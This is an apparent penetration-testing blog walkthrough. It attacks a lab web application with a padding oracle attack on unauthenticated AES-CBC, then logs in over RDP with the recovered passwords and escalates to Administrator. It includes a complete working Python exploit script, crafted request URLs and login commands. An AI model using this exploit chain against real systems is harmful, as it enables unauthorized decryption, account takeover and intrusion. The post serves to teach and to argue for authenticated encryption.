Cyber SecurityPadding Oracle Attack: Are You Vulnerable?
By: Herm Cardona
WARNING
- Blog articles related to hacking are only for informational and educational purposes. Any time the word “hacking” is used on this site, it shall be regarded as Ethical Hacking. You may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is a serious crime under federal law.
- Refer to the laws in your province/country before accessing, using, or in any other way utilizing these materials. These materials are foreducational and research purposes only.
- Any actions and or activities relating to the material contained within this website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The author and Winmill Software will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.
In this demonstration, we will mount a cryptographic attack known as a “padding oracle attack” against a web application that uses an unauthenticated AES-CBC crypto scheme.
This example demonstrates that confidentiality and integrity are equally important in cryptographic protection mechanisms. Despite the fact that strong cryptography is implemented in the form of AES encryption, it is implemented incorrectly, which will render the protecting mechanism ineffective.
Enumeration
nmap
We’ll start with an nmap scan of our host IP address 192.168.83.119 against all TCP ports (Figure 1):
Next, we scan these ports with a -sV flag to get their version numbers. The results of the scan against port 2290 reveal a web application hosted on IIS (Figure 2) demonstrates that confidentiality and integrity are equally important in cryptographic protection mechanisms. Strong cryptography is implemented in the form of AES encryption, but unfortunately, and as we mentioned, it has been implemented incorrectly.
Web Enumeration
We will launch the Metasploit Framework and use the WMAP plugin. WMAP is a feature-rich web application vulnerability scanner that was originally created from SQLMap. This tool is integrated with Metasploit and allows us to conduct web application scanning from within the Metasploit Framework.
Navigating to the default web page on port 2290 (http://192.168.83.119:2290/), we observe the following error (Figure 3): ERROR: missing parameter “c”
If we include the requested parameter in a GET request (http://192.168.83.119:2290/?c=test), the web server responds with the following (Figure 4):
Although this isn’t much to work with, the page’s source code reveals a bit more:
…
<!–
AES-256-CBC-PKCS7 ciphertext: 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
Victor’s TODO: Need to add authentication eventually..
–>
…
We’ll note the name Victor for future reference. We also note the hexadecimal ciphertext as well as the cryptographic scheme, AES-256-CBC-PKCS7. Dissecting that notation, it seems we are facing a 256-bit AES (Advanced Encryption Standard) cipher that employs Cipher Block Chaining (CBC) crypto mode and Public Key Cryptography Standards #7 (PKCS7) padding mode.
Judging by the note in the comments, it appears that the cryptographic scheme is not authenticated. Normally, crypto schemes that lack ciphertext authentication fall apart very quickly under the Chosen Ciphertext Attack (CCA) adversarial capability. One of the most infamous attacks in this category is the Padding Oracle Attack, which completely dismantles unauthenticated AES-CBC-PKCS7 schemes. Let’s pursue this attack vector.
Enumeration
Padding Oracle Attack
Understanding Ciphertext Structure
The ciphertext we are given is represented by the following 32 bytes (256 bits):
4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
We know that the AES cipher block size is 128 bits, and the initialization vector (IV) is just a single block, or 128 bits. The AES-CBC ciphertext format consists of an IV block followed by the blocks required to encrypt the entirety of the plaintext message. Because there are only 256 bits in the given ciphertext, we assume the following about our ciphertext:
IV BLOCK:
4358b2f77165b5130e323f067ab6c8a9
CIPHER BLOCK #1:
2312420765204ce350b1fbb826c59488
Understanding PKCS7 Padding Mode
Block ciphers can only operate on complete blocks. Because of this, the raw message must be padded, otherwise we could only encrypt messages of exactly length (n * L), where L is the block size of the cipher. In short, padding allows for encryption of arbitrary-length messages.
Notation:
|m| – the length of a message m
% – the modulo operator
In PKCS7 mode, given a block length of L, there are two specific use cases:
if |m| % L == 0:
Append L bytes (each of value L) to m
else:
Append [L – (|m| % L)] bytes (each of value [L – (|m| % L)] ) to m
While this may seem complicated, it really is not. Let’s explore three examples.
Example #1: “hello”
First, we’ll hex-encode our text: 0x68656c6c6f. There are five bytes in “hello,” and the AES block size is 16 bytes. Therefore, we have to pad 11 bytes, and the value of each of the 11 bytes is 11, or hex 0x0b. The padded message that we send to AES would be:
0x68656c6c6f0b0b0b0b0b0b0b0b0b0b0b
Example #2: “hi”
Encoding this into 0x6869 results in two bytes, and the AES block size is 16 bytes. Therefore, we have to pad 14 bytes, and the value of each of the 14 bytes is 14, or hex 0x0e. The padded message that we send to AES would be:
0x68690e0e0e0e0e0e0e0e0e0e0e0e0e0e
Example #3: “OopsSixteenBytes”
Finally, encoding this text into 0x4f6f70735369787465656e4279746573 results in exactly 16 bytes, which is the AES block size. In this special case we must pad an entire new block consisting of all 16s, or hex 0x10. PKCS7 requires this added block. In this example, the padded message that we send to AES would be:
0x4f6f70735369787465656e427974657310101010101010101010101010101010
Understanding CBC Crypto Mode
Moving on, the structure of CBC crypto mode is as follows:
The circular plus symbol designates the binary XOR operation (XOR is a logical operator which results in “true” when either of the operands are true), which is computed on every byte of the 16-byte block. The function F operating on the key k denotes the AES cipher. The most important detail to understand from this structure is that, in CBC mode, the IV has a direct impact on every single cipher block that follows.
In this case, we are dealing with only two blocks: the IV (or c0) block and the first (c1) cipher block. It is crucial to understand that the IV was XORed with the first padded message block before being fed into AES.
Understanding the Padding Oracle Attack
The CBC security notion is this: “if as much as a single bit about decrypted ciphertext is leaked, the adversary can learn the entire plaintext message.” To succeed in this attack, we, as the adversary, must perform two steps:
- Learn the length of the plaintext message
- Brute-force the ciphertext byte-by-byte to trick the responding the oracle to leak the underlying plaintext message
Padding Oracle Attack
Learning The Message Length
Let’s begin by determining the message length. Including the original ciphertext in the request (http://192.168.83.119:2290/?c=4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488) will result in 1 (Figure 6):
Our task here is to determine the length of the decoded message and, therefore, the length of the padding. To that end, we will start brute-forcing the ciphertext from the “left.” We will do that by replacing legitimate IV bytes with any other byte. To be clear and consistent, we will be replacing each byte with the null byte 0x00.
To start, we’ll replace the first byte (0x43) with the null byte (0x00) and submit the request to the server:
Request: http://192.168.83.119:2290/?c=0058b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
Response: 1
This was expected, but let’s keep pushing. Let’s also overwrite the second (from the “left”) byte with 0x00:
Request: http://192.168.83.119:2290/?c=0000b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
Response: 1
Moving along, we will also overwrite the third byte:
Request: http://192.168.83.119:2290/?c=000000f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
Response: 1
The response is still the same. Let’s also overwrite the fourth byte:
Request: http://192.168.83.119:2290/?c=000000007165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488
Response: 1
We’ll continue this approach by overwriting subsequent bytes. Eventually, when we overwrite the thirteenth byte, we receive a different response.
Request: http://192.168.83.119:2290/?c=00000000000000000000000000b6c8a92312420765204ce350b1fbb826c59488
Response: 0
The response changed when we submitted a 13-byte message. Let’s assume that the server was expecting 12 bytes of plaintext. Given what we know about the structure of PKCS7 padding, if we have 12 bytes of plaintext, we must add four bytes of padding (0x04040404), making the encoded message block:
XXXXXXXXXXXXXXXXXXXXXXXX04040404
Again, we remember the CBC security notion: “If as much as a single bit about decrypted ciphertext is leaked, the adversary can learn the entire plaintext message.” In our case, we may have just forced 32 bits to leak since we know the four bytes of padding must be 0x04040404.
Compromising the Message
Now that we may know the length of the plaintext message, we can proceed. To succeed in the attack, we must understand the following:
demonstrates that confidentiality and integrity are equally important in cryptographic protection mechanisms. If AES encryption is not authenticated, its protection mechanism is nullified.
Block Structure Before Modification
In the image above, the inverse of F of k is simply the decryption process of AES. We are not “breaking” AES, so we will not be able to recover the 256-bit crypto key that was used by the cipher. However, XORing the IV block with the decrypted first cipher block yields us the encoded data.
We know that the actual message is 12 bytes long. This means we know the last four bytes of the encoded data. We will begin brute-forcing the plaintext message contents starting from the last byte and continuing until the very first byte. Note that it is necessary to start at the end. In this attack, we will be modifying only the IV block, not the cipher block.
To start this attack, we will replace the last four bytes of the IV as follows:
Why? We want to be pushing byte by byte, manually increasing the PKCS7 padding bytes to trick the oracle into revealing secret information. The last byte of the modified IV is 0xa8 because 0xa8 = 0xa9 ⊕ 0x04 ⊕ 0x05. In detail:
0xa8 = 0xa9 ⊕ 0x04 ⊕ 0x05
0xc9 = 0xc8 ⊕ 0x04 ⊕ 0x05
0xb7 = 0xb6 ⊕ 0x04 ⊕ 0x05
0x7b = 0x7a ⊕ 0x04 ⊕ 0x05
In order to brute-force the last plaintext message byte, we must “ask” the server 256 “questions.” Based on the law of averages, we should expect to get a positive reply within approximately 128 requests. Specifically, we will be attacking byte 0x06 of the IV.
To automate this task, we can utilize the PoC script below. In this script, the iv_prefix variable contains the remaining unmodified IV bytes, and the iv_suffix variable contains the last four modified bytes. We are attacking the IV byte between the prefix and the suffix:
When we execute this script, the server responds with an ACK at byte 0x34 (http://192.168.83.119:2290/?c=4358b2f77165b5130e323f347bb7c9a82312420765204ce350b1fbb826c59488):
kali@kali:~$ python3 exploit.py 192.168.83.119 2290
Found byte: 0x34
What does this mean? We were tricking the oracle into thinking that the padding was five bytes, instead of four. The messages we were sending obviously decrypted into absolute garbage, but that doesn’t matter. All the oracle cares about is whether the padding is correct. That means that when the server responded with an ACK, the padding did actually compute to 0505050505.
Therefore, what would have given us 0x05 in the position is 0x34. Because of the linearity of the XOR operation, we can now compute the inverse of F of k at that position, which is 0x31:
0x34 XOR 0x05 == 0x31
All that is left to do now is to XOR that result with the original IV byte at that position (the byte we were attacking) which is 0x06. This reveals the last plaintext message byte:
0x31 XOR 0x06 == 0x37
0x37 == “7”
It should be clear at this point that this scheme is broken. To proceed with the attack, we will replace the last five bytes of the IV to 0606060606, and then attack the sixth byte (0x3f). We could repeat this process until we discover the full plaintext message.
Understanding the mechanics of the attack, we can script it. We would begin by determining the length of the decoded plaintext message, and then proceed to brute-force it as we did above.
The complete PoC that leads to compromise is as follows:
#!/usr/bin/python3
import sys, urllib.parse, requests
def get_hex_byte(byte):
hex_byte = str(hex(byte)).replace(‘0x’, ”)
if len(hex_byte) == 1:
hex_byte = ‘0’ + hex_byte
return hex_byte
def send_request(ip, port, param):
r = requests.get(url = ‘http://’ + ip + ‘:’ + port + ‘/?c=’ + param)
resp = str(r.content)
idx = resp.index(‘MyLabel’) + 9
resp = resp[idx : idx + 1]
return int(resp)
def main(argv):
if len(argv) < 2:
print(‘[-] Usage: python3 ‘ + sys.argv[0] + ‘ <IP> <Port>’)
return 1
ip = argv[0]
port = argv[1]
# iv_orig = ‘4358b2f77165b5130e323f067ab6c8a9’
iv_orig = [67, 88, 178, 247, 113, 101, 181, 19, 14, 50, 63, 6, 122, 182, 200, 169]
# ciphertext_block = ‘2312420765204ce350b1fbb826c59488’
ciphertext_block_bytes = [35, 18, 66, 7, 101, 32, 76, 227, 80, 177, 251, 184, 38, 197, 148, 136]
ciphertext_block_hex = ”
message_length = 0
default_padding_byte = 0
for j in ciphertext_block_bytes:
ciphertext_block_hex += get_hex_byte(j)
print(‘[+] Computing message length…’)
for i in range(0, 16, 1):
server_string = ”
for j in range(0, len(iv_orig), 1):
if j <= i:
server_string += ’00’
else:
server_string += get_hex_byte(iv_orig[j])
server_string += ciphertext_block_hex
if send_request(ip, port, server_string) == 0:
message_length = i
default_padding_byte = 16 – i
print(‘[+] Found message length of ‘ + str(i) + ‘ bytes’)
break
message_bytes = []
for i in range(0, default_padding_byte, 1):
message_bytes.insert(0, default_padding_byte)
print(‘[+] Brute-forcing message content…’)
for i in range(message_length – 1, -1, -1):
print(‘[+] Brute-forcing position ‘ + str(i + 1) + ‘…’)
iv_prefix = ”
iv_suffix = ”
iv_target = iv_orig[i]
for j in range(0, i, 1):
iv_prefix += get_hex_byte(iv_orig[j])
for j in range(i + 1, len(iv_orig), 1):
iv_suffix += get_hex_byte(iv_orig[j] ^ message_bytes[j – i – 1] ^ (16 – i))
for j in range(0, 256, 1):
str_byte = get_hex_byte(j)
request = iv_prefix + str_byte + iv_suffix + ciphertext_block_hex
if send_request(ip, port, request) == 1:
byte = j ^ (16 – i) ^ iv_target
message_bytes.insert(0, byte)
print(‘[+] Found byte: 0x’ + str_byte)
print(‘[+] Found char: ‘ + chr(byte))
break
plaintext = ”
for byte in message_bytes:
plaintext += chr(byte)
print(‘[+] Plaintext message compromised:\n’ + plaintext)
if __name__ == ‘__main__’:
main(sys.argv[1:])
sys.exit(0)
Executing this attack leaks the plaintext message WormAloeVat7 (Figure 10):
This proves that if we have confidentiality, but not integrity, then we have nothing. Ciphertexts must be authenticated with an HMAC construction or a similar scheme.
RDP
Remembering the note from the previous interactions with the app, let’s try to RDP into the system, as victor with a password of WormAloeVat7. (RDP stands for Remote Desktop Protocol, which enables network administrators to remotely diagnose problems and give users remote access to their physical desktop computers).
kali@kali:~$ xfreerdp /v:192.168.83.119:3389 /u:victor /p:WormAloeVat7 (Figure 11)
Escalation
Local Enumeration
Looking through the user’s folders and files, we find an interesting backup file backup.rar in the Downloads folder:
C:\Users\victor>type Downloads\backup.rar (Figure 12)
During the initial scan, we found an FTP server. Looking through the file system, we discover the FTP server root is in C:\FTPRoot. Since we can write to that directory, we’ll copy the archive to that location and retrieve it from the attacking machine for further analysis:
C:\Users\victor>copy Downloads\backup.rar C:\FTPRoot\backup.rar (Figure 12)
We log in to FTP with Victor’s credentials and retrieve the archive (Figure 13):
Unlocking RAR Archive
The archive is encrypted, but we may not need to crack it. Let’s try Victor’s password (WormAloeVat7). The password decrypts the archive, and we are able to extract backup.txt (Figure 14).
Inside the text file, we find a Base64-encoded string (Figure 15) and decode it to Administrator:EverywayLabelWrap375 (Figure 16).
Let’s try to authenticate to RDP as Administrator with these credentials:
xfreerdp /v:192.168.83.119:3389 /u:Administrator /p:EverywayLabelWrap375
We are now the server administrator (Figure 17)!
In this demonstration we proved that confidentiality and integrity are equally important in cryptographic protection mechanisms. Even though strong cryptography was implemented in the form of AES encryption, it was implemented incorrectly, which rendered the protecting mechanism ineffective.
Don’t be the next victim of a cryptographic attack. Schedule a penetration test today!